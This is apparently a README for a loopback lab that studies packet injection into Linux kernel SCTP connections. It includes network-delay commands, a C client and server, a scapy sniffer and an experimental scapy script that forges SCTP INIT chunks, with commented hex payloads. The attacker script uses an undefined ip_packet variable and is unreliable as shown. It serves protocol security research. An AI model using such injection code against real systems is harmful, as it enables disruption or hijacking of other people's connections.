Simple infrastructure for creating an analysis environment for lksctp.
First, you'll need the lksctp package for your OS, which you can find at https://github.com/sctp/lksctp-tools. For arch linux, I used https://archlinux.org/packages/community/x86_64/lksctp-tools/
We use the loopback network interface lo
, though we could hypothetically dockerize this setup if need be.
On our localhost, we need to set a delay so the attacker can actually inject the packet in the right place. To do so, use:
$ sudo tc qdisc add dev lo root netem delay 300ms
And to undo this, you can do:
$ sudo tc qdisc del dev lo root netem
Also, set up scapy, a packet manipulation library with support for SCTP.
)
I implemented a small SCTP client and server in C to interface with lksctp
:
Server Implementation:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <time.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netinet/sctp.h>
#define MAX_BUFFER 1024
#define MY_PORT_NUM 62324
int
main ()
{
int listenSock, connSock, ret, in, flags, i;
struct sockaddr_in servaddr;
struct sctp_initmsg initmsg;
struct sctp_event_subscribe events;
struct sctp_sndrcvinfo sndrcvinfo;
char buffer[MAX_BUFFER + 1];
listenSock = socket (AF_INET, SOCK_STREAM, IPPROTO_SCTP);
if(listenSock == -1)
{
printf("Failed to create socket\n");
perror("socket()");
exit(1);
}
bzero ((void *) &servaddr, sizeof (servaddr));
servaddr.sin_family = AF_INET;
servaddr.sin_addr.s_addr = htonl (INADDR_ANY);
servaddr.sin_port = htons (MY_PORT_NUM);
ret = bind (listenSock, (struct sockaddr *) &servaddr, sizeof (servaddr));
if(ret == -1 )
{
printf("Bind failed \n");
perror("bind()");
close(listenSock);
exit(1);
}
/* Specify that a maximum of 5 streams will be available per socket */
memset (&initmsg, 0, sizeof (initmsg));
initmsg.sinit_num_ostreams = 5;
initmsg.sinit_max_instreams = 5;
initmsg.sinit_max_attempts = 4;
ret = setsockopt (listenSock, IPPROTO_SCTP, SCTP_INITMSG,
&initmsg, sizeof (initmsg));
if(ret == -1 )
{
printf("setsockopt() failed \n");
perror("setsockopt()");
close(listenSock);
exit(1);
}
ret = listen (listenSock, 5);
if(ret == -1 )
{
printf("listen() failed \n");
perror("listen()");
close(listenSock);
exit(1);
}
while (1)
{
char buffer[MAX_BUFFER + 1];
int len;
//Clear the buffer
bzero (buffer, MAX_BUFFER + 1);
printf ("Awaiting a new connection\n");
connSock = accept (listenSock, (struct sockaddr *) NULL, (int *) NULL);
if (connSock == -1)
{
printf("accept() failed\n");
perror("accept()");
close(connSock);
continue;
}
else
printf ("New client connected....\n");
in = sctp_recvmsg (connSock, buffer, sizeof (buffer),
(struct sockaddr *) NULL, 0, &sndrcvinfo, &flags);
if( in == -1)
{
printf("Error in sctp_recvmsg\n");
perror("sctp_recvmsg()");
close(connSock);
continue;
}
else
{
//Add '\0' in case of text data
buffer[in] = '\0';
printf (" Length of Data received: %d\n", in);
printf (" Data : %s\n", (char *) buffer);
}
close (connSock);
}
return 0;
}
Client implemnetation:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netinet/sctp.h>
#include <arpa/inet.h>
#define MAX_BUFFER 1024
#define MY_PORT_NUM 62324
int
main (int argc, char* argv[])
{
int connSock, in, i, ret, flags;
struct sockaddr_in servaddr;
struct sctp_status status;
char buffer[MAX_BUFFER + 1];
int datalen = 0;
/*Get the input from user*/
printf("Enter data to send: ");
fgets(buffer, MAX_BUFFER, stdin);
/* Clear the newline or carriage return from the end*/
buffer[strcspn(buffer, "\r\n")] = 0;
/* Sample input */
//strncpy (buffer, "Hello Server", 12);
//buffer[12] = '\0';
datalen = strlen(buffer);
connSock = socket (AF_INET, SOCK_STREAM, IPPROTO_SCTP);
if (connSock == -1)
{
printf("Socket creation failed\n");
perror("socket()");
exit(1);
}
bzero ((void *) &servaddr, sizeof (servaddr));
servaddr.sin_family = AF_INET;
servaddr.sin_port = htons (MY_PORT_NUM);
servaddr.sin_addr.s_addr = inet_addr ("127.0.0.1");
ret = connect (connSock, (struct sockaddr *) &servaddr, sizeof (servaddr));
if (ret == -1)
{
printf("Connection failed\n");
perror("connect()");
close(connSock);
exit(1);
}
ret = sctp_sendmsg (connSock, (void *) buffer, (size_t) datalen,
NULL, 0, 0, 0, 0, 0, 0);
if(ret == -1 )
{
printf("Error in sctp_sendmsg\n");
perror("sctp_sendmsg()");
}
else
printf("Successfully sent %d bytes data to server\n", ret);
close (connSock);
return 0;
}
Using Scapy, we can set up a simple listener to monitor what's up with lo
:
#!/usr/bin/env python3
from scapy.all import *
def packet_callback(packet):
print(packet.summary())
sniff(iface='lo', prn=packet_callback,store=0, filter="sctp")
And, here's my very hacky implementation of a scapy attacker. Obviously this isn't great but it should be enough to get you off the ground and experimenting:
#!/usr/bin/env python3
import binascii
from scapy.all import *
from scapy.layers.inet import IP
attackerHex = ""
def packet_callback(packet):
if packet.haslayer(SCTPChunkInit):
# extract hex data from SCTPChunkInit
sctp_layer = packet[SCTP]
if sctp_layer.payload:
# get source port
global src_port
src_port = sctp_layer.sport
payload = bytes(sctp_layer.payload)
hex_str = binascii.hexlify(payload).decode('utf-8')
# copy hex_str to attackerHex
global attackerHex
attackerHex = hex_str
#print(hex_str)
if packet.haslayer(SCTPChunkInitAck):
print('Received a SCTP INIT_ACK ', packet[IP].src)
"""
(_pkt, /, *, type=1, flags=None, len=None, init_tag=None, a_rwnd=None, n_out_streams=None, n_in_streams=None, init_tsn=None, params=[])
"""
"""
0000000000000000000000000800450200640000400040843c127f0000017f000001a82ff3740000000000000000010000443cd4b3e80001a000000affffe96a1583000500087f00000100050008ac11000100050008ac120001000500080a6e2744000c00060005000080000004c0000004
payload = bytes.fromhex(payload3)
"""
# Extract the source and destination ports from the SCTP layer
src_port = packet[SCTP].sport
dst_port = packet[SCTP].dport
# Build the INIT chunk packet
init_chunk = SCTPChunkInit(
init_tag=0x12345678, a_rwnd=65535,
n_out_streams=10, n_in_streams=10,
init_tsn=1, params=[]
)
sctp_packet = SCTP(
sport=src_port, # Source port
dport=dst_port, # Destination port
tag=0x00, # VTag
chunks=[init_chunk] # Chunk list
)
eth_packet = Ether(
src="00:00:00:00:00:00", # Source MAC address
dst="00:00:00:00:00:00", # Destination MAC address
)
sendp(eth_packet/ip_packet/sctp_packet, verbose=0, iface="lo")
print("sent packet!");
sys.exit(0)
# some other experimental setups with specific payloads were tested:
"""
#payload3 = "0000000000000000000000000800450200640000400040843c127f0000017f000001a82ff3740000000000000000010000443cd4b3e80001a000000affffe96a1583000500087f00000100050008ac11000100050008ac120001000500080a6e2744000c00060005000080000004c0000004"
payload = bytes.fromhex(payload4)
ip_packet = IP(
src="127.0.0.1", # Source IP address
dst="127.0.0.1", # Destination IP address
proto=132, # Protocol number for SCTP
)
"""
"""
#payload4 = "f374" + hex(src_port)[2:] + "0000000000000000010000443cd4b3e80001a000000affffe96a1583000500087f00000100050008ac11000100050008ac120001000500080a6e2744000c00060005000080000004c0000004"
payload4 =hex(src_port)[2:] + "f374000000000000000001000044000000000001a000000affffe96a1583000500087f00000100050008ac12000100050008ac110001000500080a6e2744000c00060005000080000004c0000004"
payload = bytes.fromhex(payload4)
#payload = bytes.fromhex(attackerHex)
ip_packet = IP(
src="127.0.0.1", # Source IP address
dst="127.0.0.1", # Destination IP address
proto=132, # Protocol number for SCTP
flags=0x02, # Don't fragment flag
)
eth_packet = Ether(
src="00:00:00:00:00:00", # Source MAC address
dst="00:00:00:00:00:00", # Destination MAC address
)
sendp(eth_packet/ip_packet/payload, verbose=0, iface="lo")
print("sent packet!");
# exit program
sys.exit(0)
"""
# start the capture on the loopback interface
sniff(iface='lo', prn=packet_callback,store=0, filter="sctp")
Compile SCTPClient.c
and SCTPServer.c
using gcc
. Run ./server
first, and
then ./client
once ./client
is running, type a message. the SCTP connection will instantiate,
the message you typed to the server will be sent, and the connection will close.
having sudo ./attacker.py
running while you try running ./client
will (attempt)
to have the attacker inject a message.
additionally, consider running sudo ./listener.py
, and $ sudo tcpdump -i lo -w [filename].pcap
while attempting to inject a message. Also, consider monitoring /proc/net/sctp/snmp
to check for internal sctp logging.
- Check out the usrsctp library, particularly the
fuzzer
folder (which contains a significant number of small usrsctp binary examples) - Also check out lksctp-tools
- Once you have
lksctp
downloaded, check outman sctp